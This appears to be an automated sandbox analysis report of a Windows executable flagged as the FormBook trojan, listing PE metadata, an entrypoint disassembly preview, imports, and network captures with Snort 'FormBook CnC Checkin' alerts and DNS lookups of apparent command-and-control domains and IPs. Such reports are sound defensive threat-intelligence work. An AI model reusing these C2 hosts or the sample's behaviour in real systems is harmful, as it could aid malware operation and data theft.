Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B1AE3C1 [Sat Dec 5 22:50:41 2009 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7fa974366048f9c551ef45714595665e

Entrypoint Preview

Instruction
sub esp, 00000180h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409160h
xor esi, esi
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407030h]
push 00008001h
call dword ptr [004070B0h]
push ebx
call dword ptr [0040727Ch]
push 00000008h
mov dword ptr [00423F38h], eax
call 00007F3488A36236h
mov dword ptr [00423E84h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 00000160h
push eax
push ebx
push 0041F430h
call dword ptr [00407158h]
push 00409154h
push 00423680h
call 00007F3488A35EE9h
call dword ptr [004070ACh]
mov edi, 00429000h
push eax
push edi
call 00007F3488A35ED7h
push ebx
call dword ptr [0040710Ch]
cmp byte ptr [00429000h], 00000022h
mov dword ptr [00423E80h], eax
mov eax, edi
jne 00007F3488A3364Ch
mov byte ptr [esp+14h], 00000022h
mov eax, 00429001h
push dword ptr [esp+14h]
push eax
call 00007F3488A359CAh
push eax
call dword ptr [0040721Ch]
mov dword ptr [esp+1Ch], eax
jmp 00007F3488A336A5h
cmp cl, 00000020h
jne 00007F3488A33648h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F3488A3363Ch
cmp byte ptr [eax], 00000022h
mov byte ptr [eax+eax+00h], 00000000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x9e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x28c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x58d2	0x5a00	False	0.665234375	data	6.43310034828	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1190	0x1200	False	0.4453125	data	5.17976375781	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1af78	0x400	False	0.55078125	data	4.6178023207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x24000	0x8000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0x9e0	0xa00	False	0.45625	data	4.51012867721	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2c190	0x2e8	data	English	United States
RT_DIALOG	0x2c478	0x100	data	English	United States
RT_DIALOG	0x2c578	0x11c	data	English	United States
RT_DIALOG	0x2c698	0x60	data	English	United States
RT_GROUP_ICON	0x2c6f8	0x14	data	English	United States
RT_MANIFEST	0x2c710	0x2cc	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathA, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, GetWindowsDirectoryA, SetFileTime, GetCommandLineA, SetErrorMode, LoadLibraryA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrlenA, lstrcatA, GetSystemDirectoryA, GetVersion, CloseHandle, lstrcmpiA, lstrcmpA, ExpandEnvironmentStringsA, GlobalFree, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GetModuleHandleA, LoadLibraryExA, GetProcAddress, FreeLibrary, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, WriteFile, ReadFile, MulDiv, SetFilePointer, FindClose, FindNextFileA, FindFirstFileA, DeleteFileA, GetTempPathA
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, DestroyWindow, CreateDialogParamA, SetTimer, SetWindowTextA, PostQuitMessage, SetForegroundWindow, wsprintfA, SendMessageTimeoutA, FindWindowExA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, OpenClipboard, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongA, LoadImageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndPaint, ShowWindow
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectA, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA, SHGetSpecialFolderLocation
ADVAPI32.dll	RegQueryValueExA, RegSetValueExA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/31/21-10:57:09.451337	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49761	80	192.168.2.4	184.168.131.241
05/31/21-10:57:09.451337	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49761	80	192.168.2.4	184.168.131.241
05/31/21-10:57:09.451337	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49761	80	192.168.2.4	184.168.131.241
05/31/21-10:57:15.290328	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49767	34.102.136.180	192.168.2.4
05/31/21-10:57:37.003577	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49770	80	192.168.2.4	34.102.136.180
05/31/21-10:57:37.003577	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49770	80	192.168.2.4	34.102.136.180
05/31/21-10:57:37.003577	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49770	80	192.168.2.4	34.102.136.180
05/31/21-10:57:37.144922	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49770	34.102.136.180	192.168.2.4
05/31/21-10:57:47.591732	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49773	80	192.168.2.4	203.170.80.250
05/31/21-10:57:47.591732	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49773	80	192.168.2.4	203.170.80.250
05/31/21-10:57:47.591732	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49773	80	192.168.2.4	203.170.80.250
05/31/21-10:57:58.578387	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49775	34.102.136.180	192.168.2.4
05/31/21-10:58:03.700220	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49776	80	192.168.2.4	34.102.136.180
05/31/21-10:58:03.700220	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49776	80	192.168.2.4	34.102.136.180
05/31/21-10:58:03.700220	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49776	80	192.168.2.4	34.102.136.180
05/31/21-10:58:03.840563	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49776	34.102.136.180	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 31, 2021 10:57:09.246607065 CEST	49761	80	192.168.2.4	184.168.131.241
May 31, 2021 10:57:09.451086044 CEST	80	49761	184.168.131.241	192.168.2.4
May 31, 2021 10:57:09.451211929 CEST	49761	80	192.168.2.4	184.168.131.241
May 31, 2021 10:57:09.451337099 CEST	49761	80	192.168.2.4	184.168.131.241
May 31, 2021 10:57:09.654582977 CEST	80	49761	184.168.131.241	192.168.2.4
May 31, 2021 10:57:09.674194098 CEST	80	49761	184.168.131.241	192.168.2.4
May 31, 2021 10:57:09.674242020 CEST	80	49761	184.168.131.241	192.168.2.4
May 31, 2021 10:57:09.674382925 CEST	49761	80	192.168.2.4	184.168.131.241
May 31, 2021 10:57:09.674417973 CEST	49761	80	192.168.2.4	184.168.131.241
May 31, 2021 10:57:09.878076077 CEST	80	49761	184.168.131.241	192.168.2.4
May 31, 2021 10:57:15.109488010 CEST	49767	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:15.151698112 CEST	80	49767	34.102.136.180	192.168.2.4
May 31, 2021 10:57:15.151928902 CEST	49767	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:15.152031898 CEST	49767	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:15.193948984 CEST	80	49767	34.102.136.180	192.168.2.4
May 31, 2021 10:57:15.290328026 CEST	80	49767	34.102.136.180	192.168.2.4
May 31, 2021 10:57:15.290384054 CEST	80	49767	34.102.136.180	192.168.2.4
May 31, 2021 10:57:15.290618896 CEST	49767	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:15.290761948 CEST	49767	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:15.332782984 CEST	80	49767	34.102.136.180	192.168.2.4
May 31, 2021 10:57:20.382884026 CEST	49768	80	192.168.2.4	172.67.175.134
May 31, 2021 10:57:20.424562931 CEST	80	49768	172.67.175.134	192.168.2.4
May 31, 2021 10:57:20.424706936 CEST	49768	80	192.168.2.4	172.67.175.134
May 31, 2021 10:57:20.424875975 CEST	49768	80	192.168.2.4	172.67.175.134
May 31, 2021 10:57:20.468707085 CEST	80	49768	172.67.175.134	192.168.2.4
May 31, 2021 10:57:20.922590971 CEST	49768	80	192.168.2.4	172.67.175.134
May 31, 2021 10:57:20.966232061 CEST	80	49768	172.67.175.134	192.168.2.4
May 31, 2021 10:57:20.966407061 CEST	49768	80	192.168.2.4	172.67.175.134
May 31, 2021 10:57:26.172615051 CEST	49769	80	192.168.2.4	154.83.72.159
May 31, 2021 10:57:26.464422941 CEST	80	49769	154.83.72.159	192.168.2.4
May 31, 2021 10:57:26.464526892 CEST	49769	80	192.168.2.4	154.83.72.159
May 31, 2021 10:57:26.464766979 CEST	49769	80	192.168.2.4	154.83.72.159
May 31, 2021 10:57:26.775840044 CEST	80	49769	154.83.72.159	192.168.2.4
May 31, 2021 10:57:26.776187897 CEST	49769	80	192.168.2.4	154.83.72.159
May 31, 2021 10:57:26.776231050 CEST	49769	80	192.168.2.4	154.83.72.159
May 31, 2021 10:57:27.068021059 CEST	80	49769	154.83.72.159	192.168.2.4
May 31, 2021 10:57:36.960916042 CEST	49770	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:37.003094912 CEST	80	49770	34.102.136.180	192.168.2.4
May 31, 2021 10:57:37.003314972 CEST	49770	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:37.003576994 CEST	49770	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:37.048409939 CEST	80	49770	34.102.136.180	192.168.2.4
May 31, 2021 10:57:37.144922018 CEST	80	49770	34.102.136.180	192.168.2.4
May 31, 2021 10:57:37.144953966 CEST	80	49770	34.102.136.180	192.168.2.4
May 31, 2021 10:57:37.145102024 CEST	49770	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:37.145159006 CEST	49770	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:37.187202930 CEST	80	49770	34.102.136.180	192.168.2.4
May 31, 2021 10:57:47.352617979 CEST	49773	80	192.168.2.4	203.170.80.250
May 31, 2021 10:57:47.591340065 CEST	80	49773	203.170.80.250	192.168.2.4
May 31, 2021 10:57:47.591547966 CEST	49773	80	192.168.2.4	203.170.80.250
May 31, 2021 10:57:47.591732025 CEST	49773	80	192.168.2.4	203.170.80.250
May 31, 2021 10:57:47.828913927 CEST	80	49773	203.170.80.250	192.168.2.4
May 31, 2021 10:57:47.828958035 CEST	80	49773	203.170.80.250	192.168.2.4
May 31, 2021 10:57:47.829221964 CEST	49773	80	192.168.2.4	203.170.80.250
May 31, 2021 10:57:47.829298973 CEST	49773	80	192.168.2.4	203.170.80.250
May 31, 2021 10:57:48.067218065 CEST	80	49773	203.170.80.250	192.168.2.4
May 31, 2021 10:57:53.002664089 CEST	49774	80	192.168.2.4	52.14.32.15
May 31, 2021 10:57:53.141210079 CEST	80	49774	52.14.32.15	192.168.2.4
May 31, 2021 10:57:53.141340971 CEST	49774	80	192.168.2.4	52.14.32.15
May 31, 2021 10:57:53.141675949 CEST	49774	80	192.168.2.4	52.14.32.15
May 31, 2021 10:57:53.280013084 CEST	80	49774	52.14.32.15	192.168.2.4
May 31, 2021 10:57:53.280592918 CEST	80	49774	52.14.32.15	192.168.2.4
May 31, 2021 10:57:53.280625105 CEST	80	49774	52.14.32.15	192.168.2.4
May 31, 2021 10:57:53.280998945 CEST	49774	80	192.168.2.4	52.14.32.15
May 31, 2021 10:57:53.281060934 CEST	49774	80	192.168.2.4	52.14.32.15
May 31, 2021 10:57:53.419368029 CEST	80	49774	52.14.32.15	192.168.2.4
May 31, 2021 10:57:58.397866011 CEST	49775	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:58.439948082 CEST	80	49775	34.102.136.180	192.168.2.4
May 31, 2021 10:57:58.440109015 CEST	49775	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:58.440459967 CEST	49775	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:58.486447096 CEST	80	49775	34.102.136.180	192.168.2.4
May 31, 2021 10:57:58.578387022 CEST	80	49775	34.102.136.180	192.168.2.4
May 31, 2021 10:57:58.578440905 CEST	80	49775	34.102.136.180	192.168.2.4
May 31, 2021 10:57:58.578577995 CEST	49775	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:58.578643084 CEST	49775	80	192.168.2.4	34.102.136.180
May 31, 2021 10:57:58.622816086 CEST	80	49775	34.102.136.180	192.168.2.4
May 31, 2021 10:58:03.655605078 CEST	49776	80	192.168.2.4	34.102.136.180
May 31, 2021 10:58:03.699878931 CEST	80	49776	34.102.136.180	192.168.2.4
May 31, 2021 10:58:03.700038910 CEST	49776	80	192.168.2.4	34.102.136.180
May 31, 2021 10:58:03.700220108 CEST	49776	80	192.168.2.4	34.102.136.180
May 31, 2021 10:58:03.743933916 CEST	80	49776	34.102.136.180	192.168.2.4
May 31, 2021 10:58:03.840563059 CEST	80	49776	34.102.136.180	192.168.2.4
May 31, 2021 10:58:03.840615034 CEST	80	49776	34.102.136.180	192.168.2.4
May 31, 2021 10:58:03.840895891 CEST	49776	80	192.168.2.4	34.102.136.180
May 31, 2021 10:58:03.840969086 CEST	49776	80	192.168.2.4	34.102.136.180
May 31, 2021 10:58:03.882683992 CEST	80	49776	34.102.136.180	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 31, 2021 10:55:57.087589025 CEST	64646	53	192.168.2.4	8.8.8.8
May 31, 2021 10:55:57.139204979 CEST	53	64646	8.8.8.8	192.168.2.4
May 31, 2021 10:55:57.442491055 CEST	65298	53	192.168.2.4	8.8.8.8
May 31, 2021 10:55:57.456360102 CEST	59123	53	192.168.2.4	8.8.8.8
May 31, 2021 10:55:57.492607117 CEST	53	65298	8.8.8.8	192.168.2.4
May 31, 2021 10:55:57.508248091 CEST	53	59123	8.8.8.8	192.168.2.4
May 31, 2021 10:55:57.610836983 CEST	54531	53	192.168.2.4	8.8.8.8
May 31, 2021 10:55:57.660917044 CEST	53	54531	8.8.8.8	192.168.2.4
May 31, 2021 10:55:57.668584108 CEST	49714	53	192.168.2.4	8.8.8.8
May 31, 2021 10:55:57.718127012 CEST	53	49714	8.8.8.8	192.168.2.4
May 31, 2021 10:55:59.290429115 CEST	58028	53	192.168.2.4	8.8.8.8
May 31, 2021 10:55:59.340454102 CEST	53	58028	8.8.8.8	192.168.2.4
May 31, 2021 10:56:00.451760054 CEST	53097	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:00.504668951 CEST	53	53097	8.8.8.8	192.168.2.4
May 31, 2021 10:56:01.460057974 CEST	49257	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:01.512511969 CEST	53	49257	8.8.8.8	192.168.2.4
May 31, 2021 10:56:01.812000036 CEST	62389	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:01.871364117 CEST	53	62389	8.8.8.8	192.168.2.4
May 31, 2021 10:56:02.673851013 CEST	49910	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:02.726912975 CEST	53	49910	8.8.8.8	192.168.2.4
May 31, 2021 10:56:04.627512932 CEST	55854	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:04.679974079 CEST	53	55854	8.8.8.8	192.168.2.4
May 31, 2021 10:56:05.949812889 CEST	64549	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:05.999942064 CEST	53	64549	8.8.8.8	192.168.2.4
May 31, 2021 10:56:06.794486046 CEST	63153	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:06.844885111 CEST	53	63153	8.8.8.8	192.168.2.4
May 31, 2021 10:56:07.690090895 CEST	52991	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:07.739909887 CEST	53	52991	8.8.8.8	192.168.2.4
May 31, 2021 10:56:09.928400993 CEST	53700	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:09.978267908 CEST	53	53700	8.8.8.8	192.168.2.4
May 31, 2021 10:56:10.984229088 CEST	51726	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:11.034327984 CEST	53	51726	8.8.8.8	192.168.2.4
May 31, 2021 10:56:11.881607056 CEST	56794	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:11.934410095 CEST	53	56794	8.8.8.8	192.168.2.4
May 31, 2021 10:56:13.826683998 CEST	56534	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:13.877513885 CEST	53	56534	8.8.8.8	192.168.2.4
May 31, 2021 10:56:14.637331009 CEST	56627	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:14.697297096 CEST	53	56627	8.8.8.8	192.168.2.4
May 31, 2021 10:56:15.849307060 CEST	56621	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:15.900453091 CEST	53	56621	8.8.8.8	192.168.2.4
May 31, 2021 10:56:21.479235888 CEST	63116	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:21.528877020 CEST	53	63116	8.8.8.8	192.168.2.4
May 31, 2021 10:56:22.587196112 CEST	64078	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:22.638592958 CEST	53	64078	8.8.8.8	192.168.2.4
May 31, 2021 10:56:23.397706985 CEST	64801	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:23.449012041 CEST	53	64801	8.8.8.8	192.168.2.4
May 31, 2021 10:56:24.646572113 CEST	61721	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:24.699232101 CEST	53	61721	8.8.8.8	192.168.2.4
May 31, 2021 10:56:25.768673897 CEST	51255	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:25.819603920 CEST	53	51255	8.8.8.8	192.168.2.4
May 31, 2021 10:56:31.542155027 CEST	61522	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:31.618596077 CEST	53	61522	8.8.8.8	192.168.2.4
May 31, 2021 10:56:52.301810980 CEST	52337	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:52.354897976 CEST	53	52337	8.8.8.8	192.168.2.4
May 31, 2021 10:56:52.780561924 CEST	55046	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:53.077296972 CEST	53	55046	8.8.8.8	192.168.2.4
May 31, 2021 10:56:53.757699966 CEST	49612	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:53.909126997 CEST	53	49612	8.8.8.8	192.168.2.4
May 31, 2021 10:56:57.138382912 CEST	49285	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:57.339483023 CEST	53	49285	8.8.8.8	192.168.2.4
May 31, 2021 10:56:57.824455976 CEST	50601	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:57.974855900 CEST	53	50601	8.8.8.8	192.168.2.4
May 31, 2021 10:56:58.512022018 CEST	60875	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:58.824693918 CEST	53	60875	8.8.8.8	192.168.2.4
May 31, 2021 10:56:59.410904884 CEST	56448	53	192.168.2.4	8.8.8.8
May 31, 2021 10:56:59.474335909 CEST	53	56448	8.8.8.8	192.168.2.4
May 31, 2021 10:57:00.083162069 CEST	59172	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:00.145889044 CEST	53	59172	8.8.8.8	192.168.2.4
May 31, 2021 10:57:00.835238934 CEST	62420	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:00.906548977 CEST	53	62420	8.8.8.8	192.168.2.4
May 31, 2021 10:57:03.120100021 CEST	60579	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:03.170820951 CEST	53	60579	8.8.8.8	192.168.2.4
May 31, 2021 10:57:04.259979010 CEST	50183	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:04.317990065 CEST	53	50183	8.8.8.8	192.168.2.4
May 31, 2021 10:57:05.001076937 CEST	61531	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:05.059586048 CEST	53	61531	8.8.8.8	192.168.2.4
May 31, 2021 10:57:09.177042961 CEST	49228	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:09.240889072 CEST	53	49228	8.8.8.8	192.168.2.4
May 31, 2021 10:57:10.790380001 CEST	59794	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:10.850208998 CEST	53	59794	8.8.8.8	192.168.2.4
May 31, 2021 10:57:15.033735991 CEST	55916	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:15.108390093 CEST	53	55916	8.8.8.8	192.168.2.4
May 31, 2021 10:57:20.302592039 CEST	52752	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:20.381845951 CEST	53	52752	8.8.8.8	192.168.2.4
May 31, 2021 10:57:25.963674068 CEST	60542	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:26.171489000 CEST	53	60542	8.8.8.8	192.168.2.4
May 31, 2021 10:57:31.786818027 CEST	60689	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:31.865586042 CEST	53	60689	8.8.8.8	192.168.2.4
May 31, 2021 10:57:36.895108938 CEST	64206	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:36.958591938 CEST	53	64206	8.8.8.8	192.168.2.4
May 31, 2021 10:57:38.990976095 CEST	50904	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:39.066308975 CEST	53	50904	8.8.8.8	192.168.2.4
May 31, 2021 10:57:40.844459057 CEST	57525	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:40.915910006 CEST	53	57525	8.8.8.8	192.168.2.4
May 31, 2021 10:57:42.187335968 CEST	53814	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:42.264597893 CEST	53	53814	8.8.8.8	192.168.2.4
May 31, 2021 10:57:47.272638083 CEST	53418	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:47.350898981 CEST	53	53418	8.8.8.8	192.168.2.4
May 31, 2021 10:57:52.835258961 CEST	62833	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:53.001511097 CEST	53	62833	8.8.8.8	192.168.2.4
May 31, 2021 10:57:58.310861111 CEST	59260	53	192.168.2.4	8.8.8.8
May 31, 2021 10:57:58.396001101 CEST	53	59260	8.8.8.8	192.168.2.4
May 31, 2021 10:58:03.591295004 CEST	49944	53	192.168.2.4	8.8.8.8
May 31, 2021 10:58:03.653400898 CEST	53	49944	8.8.8.8	192.168.2.4
May 31, 2021 10:58:08.850121021 CEST	63300	53	192.168.2.4	8.8.8.8
May 31, 2021 10:58:09.214457035 CEST	53	63300	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 31, 2021 10:57:09.177042961 CEST	192.168.2.4	8.8.8.8	0xb8e2	Standard query (0)	www.lovelivehuntingtonbeach.com	A (IP address)	IN (0x0001)
May 31, 2021 10:57:15.033735991 CEST	192.168.2.4	8.8.8.8	0x1aef	Standard query (0)	www.ethnicbucket.com	A (IP address)	IN (0x0001)
May 31, 2021 10:57:20.302592039 CEST	192.168.2.4	8.8.8.8	0xe912	Standard query (0)	www.yihetubu.com	A (IP address)	IN (0x0001)
May 31, 2021 10:57:25.963674068 CEST	192.168.2.4	8.8.8.8	0x217d	Standard query (0)	www.jackgaughan.net	A (IP address)	IN (0x0001)
May 31, 2021 10:57:31.786818027 CEST	192.168.2.4	8.8.8.8	0xe387	Standard query (0)	www.getemcooking.com	A (IP address)	IN (0x0001)
May 31, 2021 10:57:36.895108938 CEST	192.168.2.4	8.8.8.8	0xe124	Standard query (0)	www.svenskagourmet.com	A (IP address)	IN (0x0001)
May 31, 2021 10:57:42.187335968 CEST	192.168.2.4	8.8.8.8	0xa8de	Standard query (0)	www.yunastone.com	A (IP address)	IN (0x0001)
May 31, 2021 10:57:47.272638083 CEST	192.168.2.4	8.8.8.8	0x81	Standard query (0)	www.blissburg.site	A (IP address)	IN (0x0001)
May 31, 2021 10:57:52.835258961 CEST	192.168.2.4	8.8.8.8	0xc5eb	Standard query (0)	www.woxingame.com	A (IP address)	IN (0x0001)
May 31, 2021 10:57:58.310861111 CEST	192.168.2.4	8.8.8.8	0xc896	Standard query (0)	www.postingyourvideos.com	A (IP address)	IN (0x0001)
May 31, 2021 10:58:03.591295004 CEST	192.168.2.4	8.8.8.8	0xfa2c	Standard query (0)	www.worldleadersretail.com	A (IP address)	IN (0x0001)
May 31, 2021 10:58:08.850121021 CEST	192.168.2.4	8.8.8.8	0x7183	Standard query (0)	www.uxdnxodpo.icu	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 31, 2021 10:57:09.240889072 CEST	8.8.8.8	192.168.2.4	0xb8e2	No error (0)	www.lovelivehuntingtonbeach.com	lovelivehuntingtonbeach.com		CNAME (Canonical name)	IN (0x0001)
May 31, 2021 10:57:09.240889072 CEST	8.8.8.8	192.168.2.4	0xb8e2	No error (0)	lovelivehuntingtonbeach.com		184.168.131.241	A (IP address)	IN (0x0001)
May 31, 2021 10:57:15.108390093 CEST	8.8.8.8	192.168.2.4	0x1aef	No error (0)	www.ethnicbucket.com	ethnicbucket.com		CNAME (Canonical name)	IN (0x0001)
May 31, 2021 10:57:15.108390093 CEST	8.8.8.8	192.168.2.4	0x1aef	No error (0)	ethnicbucket.com		34.102.136.180	A (IP address)	IN (0x0001)
May 31, 2021 10:57:20.381845951 CEST	8.8.8.8	192.168.2.4	0xe912	No error (0)	www.yihetubu.com		172.67.175.134	A (IP address)	IN (0x0001)
May 31, 2021 10:57:20.381845951 CEST	8.8.8.8	192.168.2.4	0xe912	No error (0)	www.yihetubu.com		104.21.96.86	A (IP address)	IN (0x0001)
May 31, 2021 10:57:26.171489000 CEST	8.8.8.8	192.168.2.4	0x217d	No error (0)	www.jackgaughan.net		154.83.72.159	A (IP address)	IN (0x0001)
May 31, 2021 10:57:31.865586042 CEST	8.8.8.8	192.168.2.4	0xe387	Name error (3)	www.getemcooking.com	none	none	A (IP address)	IN (0x0001)
